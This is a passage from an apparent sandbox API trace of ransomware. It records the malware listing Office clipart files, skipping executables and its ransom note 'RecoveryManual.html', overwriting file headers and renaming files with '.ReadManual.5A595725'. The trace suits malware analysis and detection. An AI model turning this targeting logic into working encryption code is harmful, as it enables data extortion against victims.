lpFileSize=0x434fda0*=8578) returned 1 [0267.665] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2182, lpName=0x0) returned 0x184 [0267.665] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.666] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.666] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.668] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.668] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2182) returned 0x2f0000 [0267.668] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38833707224) returned 1 [0267.668] CloseHandle (hObject=0x184) returned 1 [0267.668] SetSecurityInfo () returned 0x57 [0267.669] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.669] CloseHandle (hObject=0x194) returned 1 [0267.669] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0267.669] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185842.WMF" | out: lpString1="J0185842.WMF") returned="J0185842.WMF" [0267.669] lstrcmpiW (lpString1="J0185842.WMF", lpString2="RecoveryManual.html") returned -1 [0267.669] StrStrIW (lpFirst="J0185842.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.669] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.669] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.669] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" [0267.669] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.ReadManual.5A595725" [0267.669] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.ReadManual.5A595725") returned 87 [0267.669] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38833806932) returned 1 [0267.669] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 0x20 [0267.670] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.670] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14308) returned 1 [0267.671] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37e4, lpName=0x0) returned 0x184 [0267.671] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.671] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.671] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.673] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.673] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37e4) returned 0x2f0000 [0267.674] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.674] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38834256725) returned 1 [0267.674] CloseHandle (hObject=0x184) returned 1 [0267.674] SetSecurityInfo () returned 0x57 [0267.674] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.674] CloseHandle (hObject=0x194) returned 1 [0267.674] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0267.674] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0186346.WMF" | out: lpString1="J0186346.WMF") returned="J0186346.WMF" [0267.674] lstrcmpiW (lpString1="J0186346.WMF", lpString2="RecoveryManual.html") returned -1 [0267.674] StrStrIW (lpFirst="J0186346.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.674] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.674] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.675] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.675] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.675] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.675] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.675] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.675] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" [0267.675] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.ReadManual.5A595725" [0267.675] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.ReadManual.5A595725") returned 87 [0267.675] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38834352638) returned 1 [0267.675] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 0x20 [0267.676] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.676] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8666) returned 1 [0267.676] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21da, lpName=0x0) returned 0x184 [0267.676] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.677] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.677] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.679] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.679] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21da) returned 0x2f0000 [0267.679] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.679] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38834794653) returned 1 [0267.679] CloseHandle (hObject=0x184) returned 1 [0267.679] SetSecurityInfo () returned 0x57 [0267.679] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.679] CloseHandle (hObject=0x194) returned 1 [0267.680] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0267.680] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0186360.WMF" | out: lpString1="J0186360.WMF") returned="J0186360.WMF" [0267.680] lstrcmpiW (lpString1="J0186360.WMF", lpString2="RecoveryManual.html") returned -1 [0267.680] StrStrIW (lpFirst="J0186360.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.680] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.680] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.680] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" [0267.680] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.ReadManual.5A595725" [0267.680] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.ReadManual.5A595725") returned 87 [0267.680] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38834895251) returned 1 [0267.680] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 0x20 [0267.680] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.681] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33850) returned 1 [0267.681] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x843a, lpName=0x0) returned 0x184 [0267.681] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.682] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.682] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.684] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.684] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x843a) returned 0x2f0000 [0267.685] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.685] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38835404623) returned 1 [0267.685] CloseHandle (hObject=0x184) returned 1 [0267.685] SetSecurityInfo () returned 0x57 [0267.685] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.686] CloseHandle (hObject=0x194) returned 1 [0267.686] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0267.686] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0186362.WMF" | out: lpString1="J0186362.WMF") returned="J0186362.WMF" [0267.686] lstrcmpiW (lpString1="J0186362.WMF", lpString2="RecoveryManual.html") returned -1 [0267.686] StrStrIW (lpFirst="J0186362.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.686] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.686] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.686] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" [0267.686] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.ReadManual.5A595725" [0267.686] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.ReadManual.5A595725") returned 87 [0267.686] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38835518712) returned 1 [0267.686] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 0x20 [0267.687] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.687] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17662) returned 1 [0267.687] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44fe, lpName=0x0) returned 0x184 [0267.687] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.688] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.688] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.690] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.690] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44fe) returned 0x2f0000 [0267.690] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.690] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38835917472) returned 1 [0267.690] CloseHandle (hObject=0x184) returned 1 [0267.690] SetSecurityInfo () returned 0x57 [0267.691] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.691] CloseHandle (hObject=0x194) returned 1 [0267.691] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0267.691] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0186364.WMF" | out: lpString1="J0186364.WMF") returned="J0186364.WMF" [0267.691] lstrcmpiW (lpString1="J0186364.WMF", lpString2="RecoveryManual.html") returned -1 [0267.691] StrStrIW (lpFirst="J0186364.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.691] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.691] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.691] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" [0267.691] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.ReadManual.5A595725" [0267.691] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.ReadManual.5A595725") returned 87 [0267.691] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38836180959) returned 1 [0267.693] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 0x20 [0267.693] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.694] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18212) returned 1 [0267.694] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4724, lpName=0x0) returned 0x184 [0267.694] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.695] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.695] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.697] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.697] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4724) returned 0x2f0000 [0267.697] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.697] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38836598773) returned 1 [0267.697] CloseHandle (hObject=0x184) returned 1 [0267.697] SetSecurityInfo () returned 0x57 [0267.697] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.697] CloseHandle (hObject=0x194) returned 1 [0267.698] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, 